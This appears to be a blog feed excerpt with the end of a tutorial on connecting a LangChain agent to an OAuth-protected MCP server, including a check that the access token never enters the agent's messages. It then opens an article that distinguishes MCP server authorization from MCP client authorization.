<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">agent.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> loadMcpTools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@langchain/mcp-adapters'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createAgent </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'langchain'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> connect </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./mcp-connection.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tools </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">loadMcpTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'example'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'Loaded MCP tools:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> agent </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createAgent</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      model</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MODEL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      tools</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> result </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> agent</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">invoke</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      messages</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">          role</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'user'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">          content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Use the available tool to add 52 and 19.'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">messages</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">at</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">-</span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">?.</span><span class="token plain">content</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Agent failed:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">exitCode </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-doesnt-the-agent-need-its-own-oauth-setup">Why doesn't the agent need its own OAuth setup?<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#why-doesnt-the-agent-need-its-own-oauth-setup" class="hash-link" aria-label="Direct link to Why doesn't the agent need its own OAuth setup?" title="Direct link to Why doesn't the agent need its own OAuth setup?" translate="no">​</a></h3>
<p>You might expect the agent library to take an OAuth configuration of its own. <code>@langchain/mcp-adapters</code> can: its connection settings accept an <code>authProvider</code>, the same interface our <code>LocalOAuthProvider</code> implements.</p>
<p>But the transport can't finish the sign-in on its own. Something still has to catch the browser on its way back and call <code>finishAuth()</code>. Our <code>connect()</code> handles the <code>401</code>, the browser round trip, and the reconnect. Handing <code>loadMcpTools()</code> a client that's already authorized keeps all of that in one place, and keeps the agent code about agents.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="run-the-agent">Run the agent<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#run-the-agent" class="hash-link" aria-label="Direct link to Run the agent" title="Direct link to Run the agent" translate="no">​</a></h2>
<ol>
<li class="">
<p>Make sure the server is still running in the server terminal.</p>
</li>
<li class="">
<p>In the second terminal, run the agent again:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --env-file=.env --import tsx agent.ts</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Sign in when your browser opens. Tokens live in memory, so each run asks again.</p>
</li>
</ol>
<p>This time, the agent takes over after the tools load:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Loaded MCP tools: [ 'add' ]</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">52 + 19 = 71.</span><br></span></code></pre></div></div>
<p>The wording of the last line depends on the model. The number shouldn't.</p>
<p>Behind that one line, the model chose the <code>add</code> tool, filled in <code>a</code> and <code>b</code>, and our MCP client sent the call to the protected server with the access token attached. The server checked the token's signature, issuer, and audience before running the tool. Every tool call in the run reuses that same authorized connection.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="prove-the-model-never-sees-the-token">Prove the model never sees the token<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#prove-the-model-never-sees-the-token" class="hash-link" aria-label="Direct link to Prove the model never sees the token" title="Direct link to Prove the model never sees the token" translate="no">​</a></h2>
<p>We've said the token stays out of the agent. Let's check.</p>
<p>The check needs two things: the access token, and everything the model saw.</p>
<p>The access token lives in <code>provider</code>, the <code>LocalOAuthProvider</code> we created in <code>mcp-connection.ts</code>. After you sign in, the MCP SDK saves the tokens through its <code>saveTokens()</code> method, and reads them back with <code>tokens()</code> whenever it sends a request. So the provider is the one place in our code that holds the token.</p>
<p>Everything the model saw is in <code>result.messages</code>, the conversation the agent returns.</p>
<p>If the token never appears in that conversation, the model never saw it.</p>
<ol>
<li class="">
<p>In <code>agent.ts</code>, import the provider alongside <code>connect()</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> connect</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> provider </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./mcp-connection.js'</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>After the line that prints the final answer, add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> accessToken </span><span class="token operator">=</span><span class="token plain"> provider</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">tokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">?.</span><span class="token plain">access_token</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token string" style="color:#15803D">'Token in agent messages:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  accessToken </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token constant" style="color:#C43300">JSON</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">stringify</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">messages</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">includes</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Here's what the check does:</p>
<ul>
<li class=""><code>provider.tokens()?.access_token</code> asks the provider for the tokens the SDK saved and picks out the access token.</li>
<li class=""><code>JSON.stringify(result.messages)</code> turns the whole conversation into one string: your prompt, the model's tool call, the tool's result, and the final answer.</li>
<li class=""><code>.includes(accessToken)</code> searches that string for the token.</li>
<li class=""><code>accessToken !== undefined &amp;&amp;</code> makes sure we actually have a token to search for. Without it, a missing token would be searched for as the text <code>undefined</code>.</li>
</ul>
<p>The line prints <code>true</code> if the token appears anywhere in the conversation, and <code>false</code> if it doesn't.</p>
</li>
<li class="">
<p>With the MCP server still running, run the agent again and sign in when your browser opens. The last line should read:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Token in agent messages: false</span><br></span></code></pre></div></div>
</li>
</ol>
<p>There it is. The token lives in the provider and travels in the <code>Authorization</code> header. It never enters the conversation.</p>
<p>Remove the check from <code>agent.ts</code> when you're done.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="keep-credentials-out-of-agent-state">Keep credentials out of agent state<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#keep-credentials-out-of-agent-state" class="hash-link" aria-label="Direct link to Keep credentials out of agent state" title="Direct link to Keep credentials out of agent state" translate="no">​</a></h2>
<p>That separation is worth protecting as the application grows.</p>
<p>LangGraph can save an agent's state in checkpoints, so conversations and interrupted runs can continue later. Anything in <code>messages</code> ends up in those checkpoints, in your traces, and possibly in your logs.</p>
<p>So the rule is simple: tokens, refresh tokens, callback parameters, and client secrets never go into a prompt, a tool result, or agent state. They stay with the OAuth provider and its storage.</p>
<p>A hosted service adds one more concern: user isolation.</p>
<p>Our <code>provider</code> is a single object holding one person's token. That's fine for a local tool you run yourself. A shared agent service must not reuse one MCP client, or one token store, for everyone.</p>
<p>For each request, the application should:</p>
<ol>
<li class="">Identify the signed-in user.</li>
<li class="">Select that user's credentials for the intended MCP server.</li>
<li class="">Connect an MCP client with those credentials.</li>
</ol>
<p>Test it with two users to confirm that one user's authorization can't be reused by the other.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-changes-when-the-agent-is-hosted">What changes when the agent is hosted?<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#what-changes-when-the-agent-is-hosted" class="hash-link" aria-label="Direct link to What changes when the agent is hosted?" title="Direct link to What changes when the agent is hosted?" translate="no">​</a></h2>
<p>Our <code>waitForCallback()</code> listens on <code>127.0.0.1</code> on the machine running the agent. That works because you're sitting at that machine.</p>
<p>A LangGraph service running in the cloud has no browser to open and no user at the keyboard. When it needs authorization, it has to:</p>
<ol>
<li class="">Send the authorization URL to the right user, through the application's own frontend.</li>
<li class="">Receive the callback at an HTTPS endpoint.</li>
<li class="">Store the tokens against that user.</li>
<li class="">Continue the pending work.</li>
</ol>
<p>LangGraph has an interrupt-and-resume model that can pause a run. It won't wire up OAuth for you, though. You decide how the pause links to the user, the run, and the callback, and what happens if the user never comes back.</p>
<p>Also keep OAuth consent apart from approving an individual tool call. A user can authorize your application to manage their calendar and still want to approve each cancellation. LangGraph's human-in-the-loop features help with the second. They don't replace the first.</p>
<table><thead><tr><th>Workflow</th><th>Responsible layer</th></tr></thead><tbody><tr><td>Obtain or renew permission to access an MCP server</td><td>Application's OAuth integration (<code>connect()</code> and the provider)</td></tr><tr><td>Discover and call MCP tools</td><td>MCP client and <code>loadMcpTools()</code></td></tr><tr><td>Decide which tool to use</td><td>LangGraph agent</td></tr><tr><td>Ask a human to approve a sensitive tool call</td><td>Application's agent execution policy</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="test-the-integration-boundaries">Test the integration boundaries<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#test-the-integration-boundaries" class="hash-link" aria-label="Direct link to Test the integration boundaries" title="Direct link to Test the integration boundaries" translate="no">​</a></h2>
<p>Once the example runs, test what happens when its assumptions stop holding.</p>
<table><thead><tr><th>Test</th><th>Expected behavior</th></tr></thead><tbody><tr><td>A new user connects without stored authorization</td><td>The application gets that user's authorization before loading protected tools.</td></tr><tr><td>A token expires</td><td>The client refreshes it if it has a refresh token; otherwise the application asks the user to sign in again.</td></tr><tr><td>A tool requires a scope the user didn't grant</td><td>The application reports insufficient authorization and returns control to the user. The model can't grant itself permissions.</td></tr><tr><td>The MCP server is unavailable during a tool call</td><td>The failure is treated as a network problem, not an authorization problem, with no unbounded retries.</td></tr><tr><td>Two users run agents in the same process</td><td>Each uses their own credentials, with no cross-user token reuse.</td></tr><tr><td>A run is checkpointed</td><td>The checkpoint contains conversation state, not tokens.</td></tr><tr><td>A tool requires approval before a destructive action</td><td>The approval policy applies even though OAuth authorization already exists.</td></tr></tbody></table>
<p>The agent layer doesn't replace server-side checks. Keep testing audience validation and resource indicators at the MCP server, as in the <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#verifying-the-resource-indicator">MCP client guide's verification sections</a>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-next">Where to go next<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#where-to-go-next" class="hash-link" aria-label="Direct link to Where to go next" title="Direct link to Where to go next" translate="no">​</a></h2>
<p>Our agent started with a client that had already solved OAuth. <code>loadMcpTools()</code> turned the server's tools into something a model can call, and <code>createAgent()</code> let the model choose.</p>
<p>OAuth happened once, before the agent existed. The model chose the tool, and the token stayed in the <code>Authorization</code> header, where it belongs.</p>
<p>That holds for a short run. A long one is different: the access token can expire while the agent is still working. <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run">Why Your MCP Token Expires Mid-Run</a> looks at what breaks when that happens and how to design around it.</p>]]></content:encoded>
            <category>MCP authorization</category>
            <category>OAuth &amp; OIDC</category>
            <category>AI Agent Identity &amp; MCP</category>
        </item>
        <item>
            <title><![CDATA[MCP Server Auth vs MCP Client Auth: Two Different Problems]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth</guid>
            <pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Why a server deciding what to trust and a client proving who it acts for are separate problems with separate fixes.]]></description>
            <content:encoded><![CDATA[<p>A couple of years ago, there was no such thing as MCP. Now, chances are, you're building an MCP server, integrating with one as a client, or doing both on the same project within the same few weeks (often without anyone on the team stopping to ask which one they're actually doing). It's become common for developers to start that work with the line between the server role and the client role still blurry, especially where authorization, identity, and overall security are concerned, since the protocol reads as one specification and doesn't go out of its way to tell you that you're actually building two different things.</p>
<p>Not having that distinction clear from the start tends to show up later rather than immediately. A server built without a firm sense of where its own boundary sits will trust a token because it came from the right identity provider, it won't check that the token was actually issued for this server. A client built the same way will reuse a registration or a stored credential against a new server because the first one it talked to happened to work that way. A server that calls another service on the user's behalf will forward the token it was handed instead of getting its own, because nobody drew a hard line between authenticating a caller and acting as a caller. None of that fails in a demo, it only fails the day a caller or a callee shows up that the code wasn't written to expect, and by then it's running in front of a real user.</p>
<p>The goal of this post is to draw that line properly: what the server owns, what the client owns, the one mistake that comes from blurring the two, and a reference you can come back to once you're actually implementing either side.</p>
<p>Here's a fast way to tell which one you have. If you're publishing tools for someone else's agent to call, you're working on the server side. If your agent is calling a tool on a server somebody else built and protected, you're working on the client side. If you just read that and you're still not sure, read it again with your own project's name in place of "tools" and "agent."</p>
<p>The server and the client are answering two different questions, and it helps to say them out loud once before going any further.</p>
<ul>
<li class=""><strong>The server asks:</strong> who is calling me, which authority are they presenting, and may they perform this particular operation?</li>
<li class=""><strong>The client asks:</strong> how do I identify this server and its authorization server, obtain the right authority, and use that authority safely while helping the user complete a task?</li>
</ul>
<p>Those aren't rhetorical. An MCP server can end up guarding tools that read private email, search internal documents, access customer records, create invoices, modify source code, deploy infrastructure, approve financial transactions, or delete production resources. Whatever it protects, the server's job is narrow and inward-facing: publish where to get a token, check the one it's handed, decide whether this specific operation is allowed, and never mint a token itself. The client's job is wider and outward-facing: it may be connecting to a server it has never seen before, built by a team it has never talked to, protected by an authorization server it has to discover on the fly.</p>
<p>The two pieces share a specification, revision 2026-07-28 of the Model Context Protocol's authorization framework, and share almost nothing else. The work of publishing metadata and validating an inbound token has no code in common with the work of parsing a discovery document, registering a client, running a browser redirect, and keeping a token alive across an agent run that outlives the person who started it. They fail differently, they get tested differently, and a config object shared between them is usually where a server ends up trusting a token it should have rejected.</p>
<p>Confusing the two responsibilities tends to produce one of two problems, and it's worth naming both before the detail, since most of what follows is really just an elaboration of these:</p>
<ul>
<li class="">an MCP server accepts a token that passes every cryptographic check and still authorizes an operation it never should have, because the token was valid without being valid for this;</li>
<li class="">an MCP client assumes every server it will ever talk to share the same issuer, registration path, scope vocabulary, or token lifetime as the first one it was built against.</li>
</ul>
<p>This piece separates the two problems properly and gives you a practical reference for what to build on each side, one real mistake that comes from blurring them, and a look at what happens the moment either side has to deal with more than one of the other.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-roles-behind-the-specification">The roles behind the specification<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#the-roles-behind-the-specification" class="hash-link" aria-label="Direct link to The roles behind the specification" title="Direct link to The roles behind the specification" translate="no">​</a></h2>
<p>The specification assigns four roles, and your code plays exactly one (it's worth separating the protocol role from the product wearing it, since one product can implement more than one role at once, but each role it plays still carries a distinct, separable responsibility). Here is the breakdown:</p>
<table><thead><tr><th>Role</th><th>Who plays it</th><th>What it does</th></tr></thead><tbody><tr><td>Resource server</td><td>Your MCP server</td><td>Accepts access tokens, validates them, serves tools</td></tr><tr><td>Client</td><td>The MCP client or agent</td><td>Obtains tokens and presents them</td></tr><tr><td>Authorization server</td><td>An identity provider</td><td>Authenticates the user and issues tokens</td></tr><tr><td>Resource owner</td><td>The user</td><td>Grants consent</td></tr></tbody></table>
<p>The MCP server is a resource server, never an authorization server. It doesn't issue tokens, run a login page, or store passwords, and every server that starts doing one of those things has quietly taken on a second job the specification never asked it to do. It can be co-located with an authorization server in the same product or deployment, but that just means one product is playing two roles, not that the roles have merged.</p>
<p>The MCP client is the only role obtaining tokens on someone's behalf, which means it's the only role that has to run an OAuth flow at all. It often lives inside a larger MCP host, an AI assistant, an IDE, a desktop app, a CLI, or an agent runtime, and the host may manage several MCP clients at once, each holding its own connection to a different server.</p>
<p>If you're building both sides of one connection, this split still applies. Write the server's code as if an arbitrary conformant client might connect, and the client's code as if an arbitrary conformant server might answer. The moment you let one side assume something about the other because you happen to control both today, you've built something that breaks the day either side changes without the other.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-mcp-server-authorization-means">What MCP server authorization means<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-server-vs-client-auth#what-mcp-server-authorization-means" class="hash-link" aria-label="Direct link to What MCP server authorization means" title="Direct link to What MCP server authorization means" translate="no">​</a></h2>
<p>As an MCP server developer, you're the gatekeeper for your business capabilities and digital assets accessed by an agent, the emails, customer records, invoices, infrastructure, or payments this piece opened with. That responsibility comes down to a few concrete things: publish where to get a token, check the token you're handed, and never mint one yourself. What follows happens in order, and the status-code decision only makes sense because of what the validation step finds.</p>
<p>First, publish protected resource metadata, at a well-known URI matching your server's path, naming at least one authorization server. This is how a client that has never met your server before finds out where to send a user, and it has to exist before any request even arrives, everything else in this section only matters once a client has already found its way here.</p>
